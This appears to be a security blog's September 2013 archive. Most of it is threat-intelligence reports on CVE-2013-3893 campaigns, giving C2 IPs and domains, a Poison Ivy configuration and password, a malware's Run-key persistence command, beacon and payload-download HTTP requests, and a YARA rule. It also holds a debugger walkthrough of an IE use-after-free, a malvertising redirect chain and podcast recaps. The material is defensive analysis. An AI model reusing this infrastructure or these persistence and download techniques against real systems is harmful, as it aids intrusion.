Monthly Archives: September 2013

Hand Me Downs: Exploit and Infrastructure Reuse Among APT Campaigns

Since we first reported on Operation DeputyDog, at least three other Advanced Persistent Threat (APT) campaigns known as Web2Crew, Taidoor, and th3bug have made use of the same exploit to deliver their own payloads to their own targets. It is not uncommon for APT groups to hand-off exploits to others, who are lower on the zero-day food chain – especially after the exploit becomes publicly available. Thus, while the exploit may be the same, the APT groups using them are not otherwise related.

In addition, APT campaigns may reuse existing infrastructure for new attacks. There have been reports that the use of CVE-2013-3893 may have begun in July; however, this determination appears to be based solely on the fact that the CnC infrastructure used in DeputyDog had been previously used by the attackers. We have found no indication that the attackers used CVE-2013-3893 prior to August 23, 2013.

Exploit Reuse

Since the use of CVE-2013-3893 in Operation DeputyDog (which we can confirm happened by at least August 23, 2013), the same exploit was used by different threat actors.

Web2Crew

On September 25, 2013, an actor we call Web2Crew utilized CVE-2013-3893 to drop PoisonIvy (not DeputyDog malware). The exploit was hosted on a server in Taiwan (220.229.238.123) and dropped a PoisonIvy payload (38db830da02df9cf1e467be0d5d9216b) hosted on the same server. In our recent paper, we document how to extract intelligence from Poison Ivy that can be used to cluster activity.

The Poison Ivy binary used in this attack was configured with the following properties:

ID: gua925

Group: gua925

DNS/Port: Direct: login.momoshop.org:443, Direct: 210.17.236.29:443,

Proxy DNS/Port:

Proxy Hijack: No

ActiveX Startup Key:

HKLM Startup Entry:

File Name:

Install Path: C:\Documents and Settings\Administrator\Desktop\runrun.exe

Keylog Path: C:\Documents and Settings\Administrator\Desktop\runrun

Inject: No

Process Mutex: ;A>6gi3lW

Key Logger Mutex:

ActiveX Startup: No

HKLM Startup: No

Copy To: No

Melt: No

Persistence: No

Keylogger: No

Password: LostC0ntrol2013~2014

This configuration matches with other Web2Crew particularly ‘gua25’ ID. Some previous Web2Crew Poison Ivy samples have been configured with similar IDs including:

920GUA

 

GUA4.11

GUA

GUA3.7

GUA613

Additionally, the IP address 210.17.236.29 was used to host the command and control server in this attack. A number of known Web2Crew domains previously resolved to this same IP address between August 15 and August 29.

DATE DOMAIN
2013-08-15 2013-08-15 flash.wordpreass.net flash.wordpreass.net
2013-08-15 2013-08-15 search.blogspoct.us search.blogspoct.us
2013-08-15 2013-08-15 account.twiitter.us account.twiitter.us
2013-08-15 2013-08-15 search.twiitter.biz search.twiitter.biz
2013-08-15 2013-08-15 video.twiitter.biz video.twiitter.biz
2013-08-15 2013-08-15 domain.blogspoct.us domain.blogspoct.us
2013-08-15 2013-08-15 search.wikiipedia.us search.wikiipedia.us
2013-08-15 2013-08-15 search.youetube.us search.youetube.us
2013-08-16 2013-08-16 account.twiitter.us account.twiitter.us
2013-08-16 2013-08-16 video.twiitter.biz video.twiitter.biz
2013-08-16 2013-08-16 domain.blogspoct.us domain.blogspoct.us
2013-08-16 2013-08-16 search.blogspoct.us search.blogspoct.us
2013-08-16 2013-08-16 search.twiitter.biz search.twiitter.biz
2013-08-21 2013-08-21 search.youetube.us search.youetube.us
2013-08-29 2013-08-29 login.twiitter.us login.twiitter.us
2013-08-29 2013-08-29 account.youetube.us account.youetube.us
2013-08-29 2013-08-29 login.twiitter.us login.twiitter.us
2013-08-29 2013-08-29 account.youetube.us account.youetube.us

We observed the Web2Crew actor targeting a financial institution in this attack as well as in previous attacks.

Taidoor

The same exploit (CVE-2013-3893) has also been used by another, separate APT campaign. By at least September 26, 2013 a compromised Taiwanese Government website was used to host the same exploit, however, the payload in this case was Taidoor (not DeputyDog malware). The decoded payload has an MD5 of 666603bd2073396b7545d8166d862396. The CnC servers are msdn.techsofts.com and 203.114.64.202.

We found another instance of CVE-2013-3893 hosted at www.atmovies[.]com[.]tw/home/temp1.html. This dropped another Taidoor binary with the MD5 of 1b03e3de1ef3e7135fbf9d5ce7e7ccf6. This Taidoor sample connected to a command and control server at 121.254.176.151. We found this sample targeting the same financial services firm targeted by the web2crew actor discussed above.

Both of these samples were the newer versions of Taidoor that we previously described here.

Th3Bug

The actor we refer to as ‘th3bug’ also used CVE-2013-3893 in multiple attacks. Beginning on September 27, compromised websites hosting the Internet Explorer zero-day redirected victims to download a stage one payload (496171867521908540a26dc81b969266) from www.jessearch[.]com/dev/js/27.exe. This payload was XOR’ed with a single byte key of 0x95.

The stage 1 payload then downloaded a PoisonIvy payload (not DeputyDog malware) via the following request:

GET /dev/js/heap.php HTTP/1.1

 

User-Agent: Mozilla/4.0 (compatible)

Host: www.jessearch.com

Cache-Control: no-cache

The PoisonIvy payload then connected to a command and control server at mm.tc.epac.to.

The deobfuscated stage 1 payload has a MD5 of 4017d0baa83c63ceff87cf634890a33f and was compiled on September 27, 2013. This may indicate that the th3bug actor also customized the IE zero-day exploit code on September 27, 2013 – well after the actors responsible for the DeputyDog malware weaponized the same exploit.

Infrastructure Reuse

APT groups also reuse CnC infrastructure. It is not uncommon to see a payload call back to the same CnC, even through it has been distributed via different means. For example, although the first reported use of CVE-2013-3893 in Operation DeputyDog was August 23, 2013, the CnC infrastructure had been used in earlier campaigns.

Specifically, one of the reported DeputyDog command and control servers located at 180.150.228.102 had been used in a previous attack in July 2013. During this previous attack, likely executed by the same actor responsible for the DeputyDog campaign, the 180.150.228.102 IP hosted a PoisonIvy control server and was used to target a gaming company as well as high-tech manufacturing company. There is no evidence to suggest that this July attack using Poison Ivy leveraged the same CVE-2013-3893 exploit.

We also observed usage of Trojan.APT.DeputyDog malware as early as March 26, 2013. In this attack, a Trojan.APT.DeputyDog binary (b1634ce7e8928dfdc3b3ada3ab828e84) was deployed against targets in both the high-technology manufacturing and finance verticals. This DeputyDog binary called back to a command and control server at www.jusched.net. There is also no evidence in this case to suggest that this attack used the CVE-2013-3893 exploit.

This malware family and the CnC infrastructure is part of an ongoing campaign. Therefore, the fact that this infrastructure was active prior to the first reported use of CVE-2013-3893 does not necessarily indicate that this particular exploit was previously used. The actor responsible for the DeputyDog campaign employs a multiple of malware tools and utilizes a diverse command and control infrastructure.

Conclusion

The activity associated with specific APT campaigns can be clustered and tracked by unique indicators. There are a variety of different campaigns that sometimes make use of the same malware (or sometimes widely available malware such as PoisonIvy) and the same exploits. It is not uncommon for zero-day exploits to be handed down to additional APT campaigns after they have already been used.

  • The first observed usage of CVE-2013-3893, in Operation Deputy Dog, remains August 23, 2013. However, the C2 infrastructure had been used in previous attacks in July 2013.
  • The CVE-2013-3893 has been subsequently used by at least three other APT campaigns: Taidoor, th3bug, and Web2Crew. However, other than the common use of the same exploit, these campaigns are otherwise unrelated.
  • We expect that CVE-2013-3893 will continue to be handed down to additional APT campaigns and may eventually find its way into the cyber-crime underground.

Episode #170: Fearless Forensic File Fu

Hal receives a cry for help

Fellow forensicator Craig was in a bit of a quandary. He had a forensic image in "split raw" format-- a complete forensic image broken up into small pieces. Unfortunately for him, the pieces were named "fileaa", "fileab", "fileac", and so on while his preferred tool wanted the files to be named "file.001", "file.002", "file.003", etc. Craig wanted to know if there was an easy way to rename the files, using either Linux or the Windows shell.

This one's not too hard in Linux, and in fact it's a lot like something we did way back in Episode #26:

c=1; 
for f in file*; do
printf -v ext %03d $(( c++ ));
mv $f ${f/%[a-z][a-z]/.$ext};
done

You could remove the newlines and make that one big long line, but I think it's a bit easier to read this way. First we initialize a counter variable $c to 1. Then we loop over each of the files in our split raw image.

The printf statement inside the loop formats $c as three digits, with however many leading zeroes are necessary ("%03d"). There are a couple of tricky bits in the printf though. First is we're assigning the output of printf to a variable $ext ("-v ext"). Second, we're doing a little arithmetic on $c at the same time and using the "++" operator to increment the value of $c each time through the loop-- that's the "$(( c++ ))" part.

Then we use mv to rename our file. I'm using the variable substitution operator like we did in Episode #26. The format again is "${var/pattern/substitution}" and here the "%" after the first slash means "match at the end of the string". So I'm replacing the last two letters in the file name with a dot followed by our $ext value. And that's exactly what Craig wanted!

All of the symbols in this solution make it appear like a little chunk of line noise, but it's nowhere near as ugly as Ed's CMD.EXE solution in Episode #26. Here's hoping Tim's Powershell solution is a bit more elegant.

Tim finishes before September ends!

Elegance where here we come!


Long Version:
PS C:\> $i=1; Get-ChildItem file?? | Sort-Object -Propery Name |
ForeEach-Object { MoveItem -Path $_ -Destination ("file.{0:D3}" -f $i++) }

Shortened Version:
PS C:\> ls file?? | sort name | % { move $_ -dest ("file.{0:D3}" -f $i++) }

We start off by initializing our counter variable ($i) to 1 just like Hal did. Next, we list all the files that start with "file" and are followed by exactly two characters (each ? matches exactly 1 character of any kind). The results are then sorted by the file name to ensure that the files are renamed in the correct order. The results are then fed into the ForEach-Object cmdlet (alias %).

The ForEach-Object loop will operate on each object (file) as it moves down the pipeline. One at a time, each file will be represented by the current pipeline object ($_). The Move-Item cmdlet (alias move) is used to rename a file; to move it to its new name. The source path is provided by the current object and the destination is determined using the format operator (-f) and our counter ($i). The format operator will print $i as a three digit number prefixed with leading zeros and "file.". The ++ after $i will increment the counter after it has been used.

That is much cleaner than Ed's example...and even cleaner than Hal's to boot!

Update:

Reader m_cnd writes in with a solution for CMD. vm

C:\> for /F "tokens=1,2 delims=:" %d in ('dir /on /b file* ^| 
findstr /n "file"') do for /F %x in ('set ext^=00%d^&^&
cmd /v:on /c "echo !ext:~-3!"') do rename %e file.%x
Nice work!

Operation DeputyDog: Zero-Day (CVE-2013-3893) Attack Against Japanese Targets

FireEye has discovered a campaign leveraging the recently announced zero-day CVE-2013-3893. This campaign, which we have labeled ‘Operation DeputyDog', began as early as August 19, 2013 and appears to have targeted organizations in Japan. FireEye Labs has been continuously monitoring the activities of the threat actor responsible for this campaign. Analysis based on our Dynamic Threat Intelligence cluster shows that this current campaign leveraged command and control infrastructure that is related to the infrastructure used in the attack on Bit9.

Campaign Details

On September 17, 2013 Microsoft published details regarding a new zero-day exploit in Internet Explorer that was being used in targeted attacks. FireEye can confirm reports that these attacks were directed against entities in Japan. Furthermore, FireEye has discovered that the group responsible for this new operation is the same threat actor that compromised Bit9 in February 2013.

FireEye detected the payload used in these attacks on August 23, 2013 in Japan. The payload was hosted on a server in Hong Kong (210.176.3.130) and was named “img20130823.jpg”. Although it had a .jpg file extension, it was not an image file. The file, when XORed with 0x95, was an executable (MD5: 8aba4b5184072f2a50cbc5ecfe326701).

Upon execution, 8aba4b5184072f2a50cbc5ecfe326701 writes “28542CC0.dll” (MD5: 46fd936bada07819f61ec3790cb08e19) to this location:

C:\Documents and Settings\All Users\Application Data\28542CC0.dll

In order to maintain persistence, the original malware adds this registry key:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\28542CC0

The registry key has this value:

rundll32.exe "C:\Documents and Settings\All Users\Application Data\28542CC0.dll",Launch

The malware (8aba4b5184072f2a50cbc5ecfe326701) then connects to a host in South Korea (180.150.228.102). This callback traffic is HTTP over port 443 (which is typically used for HTTPS encrypted traffic; however, the traffic is not HTTPS nor SSL encrypted). Instead, this clear-text callback traffic resembles this pattern:

POST /info.asp HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Agtid: [8 chars]08x

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: 180.150.228.102:443

Content-Length: 1045

Connection: Keep-Alive

Cache-Control: no-cache

[8 chars]08x&[Base64 Content]

The unique HTTP header “Agtid:” contains 8 characters followed by “08x”. The same pattern can be seen in the POST content as well.

A second related sample was also delivered from 111.118.21.105/css/sun.css on September 5, 2013. The sun.css file was a malicious executable with an MD5 of bd07926c72739bb7121cec8a2863ad87 and it communicated with the same communications protocol described above to the same command and control server at 180.150.228.102.

Related Samples

We found that both droppers, bd07926c72739bb7121cec8a2863ad87 and 8aba4b5184072f2a50cbc5ecfe326701, were compiled on 2013-08-19 at 13:21:59 UTC. As we examined these files, we noticed a unique fingerprint.

These samples both had a string that may have been an artifact of the builder used to create the binaries. This string was “DGGYDSYRL”, which we refer to as “DeputyDog”. As such, we developed the following YARA signature, based on this unique attribute:

rule APT_DeputyDog_Strings

{

meta:
author = "FireEye Labs"

version = "1.0"

description = "detects string seen in samples used in 2013-3893 0day attacks"

reference = "8aba4b5184072f2a50cbc5ecfe326701"

strings:
$mz = {4d 5a}

$a = "DGGYDSYRL"

condition:
($mz at 0) and $a

                }

We used this signature to identify 5 other potentially related samples:

MD5 Compile Time (UTC) C2 Server
58dc05118ef8b11dcb5f5c596ab772fd 58dc05118ef8b11dcb5f5c596ab772fd 2013-08-19 13:21:58 2013-08-19 13:21:58 180.150.228.102 180.150.228.102
4d257e569539973ab0bbafee8fb87582 4d257e569539973ab0bbafee8fb87582 2013-08-19 13:21:58 2013-08-19 13:21:58 103.17.117.90 103.17.117.90
dbdb1032d7bb4757d6011fb1d077856c dbdb1032d7bb4757d6011fb1d077856c 2013-08-19 13:21:59 2013-08-19 13:21:59 110.45.158.5 110.45.158.5
645e29b7c6319295ae8b13ce8575dc1d 645e29b7c6319295ae8b13ce8575dc1d 2013-08-19 13:21:59 2013-08-19 13:21:59 103.17.117.90 103.17.117.90
e9c73997694a897d3c6aadb26ed34797 e9c73997694a897d3c6aadb26ed34797 2013-04-13 13:42:45 2013-04-13 13:42:45 110.45.158.5 110.45.158.5

Note that all of the samples, except for e9c73997694a897d3c6aadb26ed34797, were compiled on 2013-08-19, within 1 second of each other.

We pivoted off the command and control IP addresses used by these samples and found the following known malicious domains recently pointed to 180.150.228.102.

Domain First Seen Last Seen
ea.blankchair.com ea.blankchair.com 2013-09-01 05:02:22 2013-09-01 05:02:22 2013-09-01 08:25:22 2013-09-01 08:25:22
rt.blankchair.com rt.blankchair.com 2013-09-01 05:02:21 2013-09-01 05:02:21 2013-09-01 08:25:24 2013-09-01 08:25:24
ali.blankchair.com ali.blankchair.com 2013-09-01 05:02:20 2013-09-01 05:02:20 2013-09-01 08:25:22 2013-09-01 08:25:22
dll.freshdns.org dll.freshdns.org 2013-07-01 10:48:56 2013-07-01 10:48:56 2013-07-09 05:00:03 2013-07-09 05:00:03

Links to Previous Campaigns

According to Bit9, the attackers that penetrated their network dropped two variants of the HiKit rootkit. One of these Hitkit samples connected to a command and control server at downloadmp3server[.]servemp3[.]com that resolved to 66.153.86.14. This same IP address also hosted www[.]yahooeast[.]net, a known malicious domain, between March 6, 2012 and April 22, 2012.

The domain yahooeast[.]net was registered to 654@123.com. This email address was also used to register blankchair[.]com – the domain that we see was pointed to the 180.150.228.102 IP, which is the callback associated with sample 58dc05118ef8b11dcb5f5c596ab772fd, and has been already correlated back to the attack leveraging the CVE-2013-3893 zero-day vulnerability.

Threat Actor Attribution

deputydog

Conclusion

While these attackers have a demonstrated previously unknown zero-day exploits and a robust set of malware payloads, using the techniques described above, it is still possible for network defense professionals to develop a rich set of indicators that can be used to detect their attacks. This is the first part of our analysis, we will provide more detailed analysis on the other components of this attack in subsequent blog post.

Using PEB to Get Base Address of Kernelbase.dll

Process Environment Block (PEB) is a user mode data structure which applies over a whole process. It is designed to be used by the application-mode code in the operating system libraries, such as NTDLL.dll, Kernel32.dll. Through the use of PEB one can obtain the list of loaded modules, process startup arguments, ImageBaseAddress, heap address, check […]

Unmask Parasites joins Sucuri

It’s official. This week Unmask Parasites joins Sucuri!

Since July of 2008 when I released the first public version, Unmask Parasites was a “one man project” and it worked fine for me most of the time. I did everything myself from server setup to site development, from web attack investigations to blogging here. During these years Unmask Parasites became quite noticeable both within webmasters and Internet security community. And I always tried to meet their expectations providing a tool that could reveal various obscure website security issues and sharing information on how and why websites get hacked, and what can be done to prevent it.

When Sucuri approached me and asked if I wanted to join their team as a malware researcher, I didn’t think much. I’ve been watching this company since 2010 and knew how much we had in common in our approach to Internet security. We both focus on helping site owners to detect security problems and protect their sites. We do our best to educate webmasters about things that hackers do with compromised websites — unmasking their dirty tricks is an important part of our work. In 2011 we established good relationship and began to help each other by sharing our information about ongoing massive attacks. Now Sucuri has grown to one of the leading companies in its field and makes a significant impact on how many thousands of site owners protect their sites. It’s an honor for me to join this company and the team of professionals that I know for so long time.

I guess you wonder what will happen to Unmask Parasites scanner and this blog? They are here to stay! I will still be responsible for Unmask Parasites and continue to improve it and publish my blogposts here. Even better: now that I’m with Sucuri, I will have access to large volumes of data from their tools and support team (something that I really missed during the last five years), which will definitely facilitate my investigations, and, in turn, improve the quality of Unmask Parasites scanner and Sucuri own tools.

For additional information check the Sucuri’s announcement.

Let’s unmask parasites!

Related posts:

PFCLObfuscate, DerbyCon, Drunken Security News – Episode 345 – September 12, 2013

Pete Finnigan works as an independant Oracle security consultant for his own company PeteFinnigan.com Limited . Pete specialises in performing detailed Oracle security IT Health checks against Oracle databases using a detailed methodology developed by Pete from many years of experience in securing databases.

We've got a good one for you this week. Paul and Jack were in studio we were treated with a visit from the DerbyCon organizers. Dave "Rel1k" Kennedy, Adrian "Irongeek" Crenshaw, Martin "PureHate_" Bos and Nick "Nick8ch" Hitchcock. Derby is one of those cons that that sells out within minutes or less, so they're surely not here to sell tickets for the September 25-29th even in Louisville, Kentucky. Listen to find out all the great things they have in store for this year's event. They've expanded with six tracks this year, two nights of big events and will have The Crystal Method playing on Saturday night! Dave also mentioned that his choice of Weird Al Yankovic got vetoed, but if I had any kind of vote, I'd love to see Al. In addition to some of the best talks on the planet, you'll see some games such as "Are You Smarter Than a CISSP?" and "Whose Slide Is It Anyway?" One of the other great things about DerbyCon is they make many, if not all of the videos available for people to view, in near real time, thanks to the kickass video guy Adrian.

Then on to the stories. Talking with the Derby guys is always so much fun, and with the weekly Stogie Geeks podcast immediately after, there wasn't much time left for stories. Paul and Jack got into Marissa Mayer not locking her iPhone and people trying to board commercial aircraft with hand grenades. Yeah. According to the article, TSA found 83 people with hand grenades in either their carry-on or checked luggage. But when we dig a little deeper in the article, we see those 83 also included "The majority of these grenades were inert, replica, or novelty items". The basically took away toys. I guess that sounds silly at first until you figure the hassle someone could cause by pulling out a toy but real-looking grenade mid-flight. Who's going to confirm that it's just a toy? It'd make for one heckuva stressful flight. So leave your grenades at home.

The only other story the guys talked about was Yahoo! CEO Marissa Mayer and how she avoids the hassle of locking her iPhone with a passcode. The article is an interesting one where one side wonders why she takes mobile security so casually? If hers fell into the wrong hands, first imagine the phishing that someone could pull off. But also what kind of trove of data is available on there from upcoming plans at Yahoo! (a publicly traded company) to private email conversations with other executives at the company. But then the other side wonders if the security advice for Mayer has the same level of appropriateness as for an average user. Maybe Mayer takes better physical precautions with her iPhone than a typical 16 year old high school student. Is her point valid that the extra step of entering a passcode isn't worth the ease of getting into her device many times a day to conduct business? Seems like an interesting question at least.

Darkleech Says Hello

There's never a dull day at FireEye -- even on the weekends. At approximately 7:29 AM PDT today, we were notified by several security researchers that a fireeye[.]com/careers HR link was inadvertently serving up a drive-by download exploit. Our internal security, IT operations team, and third-party partners quickly researched and discovered that the malicious code was not hosted directly on any FireEye web infrastructure, but rather, it was hosted on a third-party advertiser (aka "malvertisement") that was linked via one of our third-party web services. The team then responded and immediately removed links to the malicious code in conjunction with our partners in order to protect our website users. More information on this third-party compromise (of video.js) can be found here.

Technical Details

The full redirect looked like this:

 

hxxp://www[.]fireeye[.]com/careers/ 

 

(redirect to) -> hxxp://xxx[.]xxxxxxxx[.]com/career/

CareerHome.action?clientId=8aa00506326e915601326f65b82e1fcb

(calls) -> hxxp://vjs[.]zencdn[.]net/c/video.js (VULNERABLE JAVASCRIPT)

(calls) -> hxxp://cdn[.]adsbarscipt[.]com/links/jump/ (MALVERTISEMENT)

(calls) -> hxxp://209[.]239[.]127[.]185/591918d6c2e8ce3f53ed8b93fb0735cd

/face-book.php (EXPLOIT URL)

(drops) -> MD5: 01771c3500a5b1543f4fb43945337c7d

(Update_flash_player.exe)

 

 

So what was this, anyway?

It turns out, this attack was not targeted and it was not a watering hole attack. Instead, this campaign appears to be a recent wave of the Darkleech malware campaign, where third-party Horde/IMP Plesk Webmail servers were vulnerable to attack and used to serve up Java exploits that ultimately drop yet another ransomware named Reveton (similar to Urausy) -- yet other AV engines report it as a Zeus Bot (Zbot) variant.

Do FireEye products detect this attack?

Yes, the initial infection vector, payload, and corresponding Reveton callbacks were fully detected across all FireEye products prior to this incident being reported to us. In fact, this particular Reveton sample has been reported by approximately 49 of our worldwide customers, so far. Further intelligence about this threat is listed below:

  • DTI Statistics for MD5: 01771c3500a5b1543f4fb43945337c7d
  • MD5 first seen by our customers: 2013-09-14 07:12:40 UTC
  • Number of unique worldwide FireEye Web MPS detections: 188+
  • Number of unique FireEye Web MPS customers reported/alerted on this sample: 49+
  • Number of industries affected: 12+

Industries affected by Reveton

Lastly, FireEye acknowledges and thanks security researchers Inaki Rodriguez and Stephanus J Alex Taidri for bringing this issue to our attention.

CVE-2013-3361 (air, air_sdk, flash_player)

Adobe Flash Player before 11.7.700.242 and 11.8.x before 11.8.800.168 on Windows and Mac OS X, before 11.2.202.310 on Linux, before 11.1.111.73 on Android 2.x and 3.x, and before 11.1.115.81 on Android 4.x; Adobe AIR before 3.8.0.1430; and Adobe AIR SDK & Compiler before 3.8.0.1430 allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2013-3362, CVE-2013-3363, and CVE-2013-5324.

Technical Analysis of CVE-2013-3147

In July, Microsoft released a patch for a memory-corruption vulnerability in the Internet Explorer (IE) Web browser. The vulnerability enabled remote attackers to execute arbitrary code or cause a denial of service through a crafted or compromised website — also known as a drive-by download.

This vulnerability is particularly interesting because it is so simple that even some tutorials on the web can trigger it, and it is unique to IE. The vulnerability exists in onbeforeeditfocus event. Only Internet Explorer supports this event (detailed information can be found at http://help.dottoro.com/ljclqecn.php).

Vulnerability

The vulnerability triggers when the document markup is manipulated inside the handler of onbeforeeditfocus event. It leads to a crash in mshtml!CElement::BubbleBecomeCurrent when the instruction tries to access the freed pointer.

Following is the state of registers at the time of crash.

0:008> r

eax=00000004 ebx=00000000 ecx=06034f88 edx=80000035 esi=06082fb0

edi=048466a8 eip=636b31fe esp=037cf9b8 ebp=037cf9d4 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

mshtml!CElement::BubbleBecomeCurrent+0xa7:

636b31fe 8b7604 mov esi,dword ptr [esi+4] ds:0023:06082fb4=????????

At this stage ESI holds the freed pointer.

0:008> !heap -p -a esi

address 06082fb0 found in

_DPH_HEAP_ROOT @ 141000

in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)

5802a58: 6082000 2000

7c927553 ntdll!RtlFreeHeap+0x000000f9

63625834 mshtml!CTreeNode::Release+0x0000002d

63640cea mshtml!PlainRelease+0x00000033

63662fec mshtml!CTreeNode::NodeRelease+0x0000002a

635bd2d4 mshtml!CElement::BecomeCurrent+0x00000145

636b31eb mshtml!CElement::BubbleBecomeCurrent+0x00000094

637eeb74 mshtml!CElement::BubbleBecomeCurrent+0x0000004c

636b5dd5 mshtml!CDoc::PumpMessage+0x0000096a

635f1fea mshtml!CDoc::OnMouseMessage+0x0000055d

635ef664 mshtml!CDoc::OnWindowMessage+0x000007af

6364207a mshtml!CServer::WndProc+0x00000078

7e418734 USER32!InternalCallWinProc+0x00000028

7e418816 USER32!UserCallWinProcCheckWow+0x00000150

7e4189cd USER32!DispatchMessageWorker+0x00000306

7e418a10 USER32!DispatchMessageW+0x0000000f

02562ec9 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000461

Following was the size of allocation where ESI is pointing:

ESI: 6082fb0

address 06082fb0 found in

_DPH_HEAP_ROOT @ 141000

in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)

5802a58: 6082fb0 4c - 6082000 2000

7c918f01 ntdll!RtlAllocateHeap+0x00000e64

635a8225 mshtml!CHtmRootParseCtx::BeginElement+0x00000030

635bc1e9 mshtml!CHtmTextParseCtx::BeginElement+0x0000006c

635a8420 mshtml!CHtmParse::BeginElement+0x000000b7

635a93b4 mshtml!CHtmParse::ParseBeginTag+0x000000fe

635a6bb6 mshtml!CHtmParse::ParseToken+0x00000082

635a7ff4 mshtml!CHtmPost::ProcessTokens+0x00000237

635a734c mshtml!CHtmPost::Exec+0x00000221

635ac2b8 mshtml!CHtmPost::Run+0x00000015

635ac21b mshtml!PostManExecute+0x000001fd

635cece9 mshtml!CPostManager::PostManOnTimer+0x00000134

6364de62 mshtml!GlobalWndOnMethodCall+0x000000fb

6363c3c5 mshtml!GlobalWndProc+0x00000183

7e418734 USER32!InternalCallWinProc+0x00000028

7e418816 USER32!UserCallWinProcCheckWow+0x00000150

7e4189cd USER32!DispatchMessageWorker+0x00000306

But the story doesn’t end here. The instruction on which we are getting an exception is moving the pointer at [ESI+4] to ESI. So looking to the pointer, which is at [ESI+4], is important. If we monitor the ESI, then we will see the following sequence (note: the value of ESI is changed from the previous one because I collected this information at the second run):

ESI: 48bafb0 [ESI+4]: 6050fb0 [[ESI+4]]: 5ff0fd0 [[[ESI+4]]]: 635ba8c0

ESI: 48bafb0 [ESI+4]: 0 <---------------------- Exception

The exception instruction is expecting 6050fb0 at [ESI+4]. But because the pointer is freed, we hit an exception. The address 6050fb0 is the pointer to object 5ff0fd0 of type 635ba8c0 as we can see in the above lines and can also verify with the below windbg command.

0:008> ln 635ba8c0

(635ba8c0) mshtml!CBodyElement::`vftable' | (637812c0) mshtml!CStackDataAry

<unsigned short,128>::`vftable'

Exact matches:

mshtml!CBodyElement::`vftable' = <no type information>

Possible Code Execution Path:

This situation can lead to code execution because the value at [ESI+4] propagates to  the CElement::BecomeCurrent method which again calls the CElement::Doc method to access the vftable and call a function.

Following is the disassembly of the faulty function:

Our program crashes here:

1st

 

loc_636b31BF:

2nd

 

Here, a few checks are getting the value of EBX. But EBX is also in control, and the value of EBX remains the same as it was in the beginning of the function call.

CElement::BecomeCurrent:

3rd

 

CElement::Doc:

4th

This isn't the first IE vulnerability in which the CElement::Doc function played a role — in at least one other past vulnerabilityCElement::Doc function played a key role in the code execution.

(Thanks to my colleagues Abhishek Singh and Yichong Lin for their suggestions.)

Active Defense with Honey Badger, Drunken Security News – Episode 344 – September 5, 2013

Have you heard of those scam phone calls from "Windows" where the person on the other end of the phone claims to know there's a problem with your computer ("Is it running more slowly lately?") and they even have you test it out by running some commands and referring to common files as viruses. Then they're so friendly that if you simply go to their web site and download a couple files, they'll clean it all up for you. Maybe one of the worst people they could possibly call would be the head guy at Black Hills Information Security, John Strand. Yep, and John was only too happy to give them just enough rope to hang themselves. Listen along for how John was also able to irritate the scammers.

Then we tried to get going on the stories of the week and were off to a great start but very quickly got derailed with a story from Australia. Apparently the Australian government is looking to put a filter on the internet in their country that would completely block all perceived porn sites. If someone wants to be able to access porn web sites from inside Australia, they'd need to "opt out" of the filter by simply contacting the government. What could possibly go wrong with this idea? I'm certain that there wouldn't be any privacy issues whatsoever. Additionally, wasn't the internet basically invented for the purpose of porn consumption? Ok, back to the rest of the stories discussed.

Remember a few weeks ago when we talked about a scumbag who intruded upon a family through their baby monitor and was able to shout at the baby and parents through the monitor. Well, the Federal Trade Commission (FTC) has slapped down a manufacturer of different brand of baby monitor and said they may no longer market their product as being "secure" until they fix these flaws. The flaws being that they say the feeds are private while anyone can view them on the internet at least in part because the authentication from the internet is clear-text and needs to be encrypted. Here we are already seeing where it seems like a great idea for manufacturers to internetify their product but don't completely understand all aspects of that or at least don't understand basic security needs. I don't know which is the chicken and which is the egg yet, but with the promise of IPv6, we're going to eventually see just about everything we own trying to have some sort of presence on the internet and these basic security precautions will need to be met.

Allison alerted us to the fact that Burp Suite got an upgrade this week. I'm constantly amazed at how much Burp can do especially when you consider the $300 price. Sure, there's also ZAP available from OWASP for even cheaper (free) but I think Burp is one of those tools that just about everyone uses because of its awesomeness. If I had to pick out just one of the new features, I'd mention the "Plug 'n Hack". According to Portswigger: "This enables faster configuration of the browser to work with Burp, by automatically configuring the browser to use Burp as its proxy, and installing Burp's CA certificate in the browser."

We also found out more details this week about another trojan called FinFisher by Gamma. The existence of FinFisher had been previously revealed but in a presentation by Mikko Hypponen, he talked about some of the things that the tool can do, including cracking WPA1 and WPA2, decrypting common email sites and even copying over a whole drive encrypted with TrueCrypt via a USB stick. Reportedly, the tool had only been available to governments in order to conduct their own national intelligence, but by now there's no way of knowing whether this has slipped out into the wild and in the hands of just anyone.

At Black Hat this year, Mike Shema from Qualys talked about a new way to possibly prevent CSRF. As we've seen in the past, the only way to reliably prevent the attack is to place a token in the action and have the server validate that token. This requires that the developer of the application understand CSRF and understand an API for creating the token, and to also implement it properly. If you're in the training or penetration testing business, this sounds like a great thing for job security. However there are millions of developers worldwide and training all of them may take a while. Heck, look at how prevalent much simpler attacks like SQL injection and Cross Site Scripting are. Do we really think that we'll be able to "train away" CSRF? This is where Shema has the idea of "Session Origin Security" and put the token in the browser. Now instead of training millions of developers, we simply get about five browser developers to jump on board. But the gang was a little skeptical about other plugins to work around this as well as breaking valid sessions and backward compatibility. We also wondered whether it may make more sense to allow the browser to choose whether it wants the CSRF protection and turn it on by default and let the user turn it off if there's a good reason to. These all seem to be questions that Shema and his team are looking into.

Jack told us about a post from Gunnar Peterson and the "Five Guys Burgers Method of Security". I don't think it means where it's so good for the first ten minutes and then you feel like crap about it for the next few hours. It's the idea that when you go to a Five Guys (and if you haven't yet, you should) they have two things, burgers and fries. They do these two things exceptionally well. They haven't morphed into also being a chicken place, and a fish place and a milkshake place and a coffee place and then letting the overall quality slip. They are focused on doing their two things and doing them extremely well. And I wondered if this is where so many in the security industry get frustrated and eventually burned out. As John brought up, the frustration often comes when there is so much compliance and documentation required, which yeah, I can see that as well. Who likes checking boxes and meeting with guys in ties to explain how you meet the PII, PCI, SOX and whatever other acronyms? I also wonder if there's also frustration in that we're hired to be "the security person" and we have areas that we're good at and enjoy. Whether that's network security, mobile security, web security or whichever. But due to budgets and many other reasons, we are expected to be experts in all areas, much unlike Five Guys. The Five Guys philosophy is if you want a great chicken sandwich, go to a chicken place. If you want a 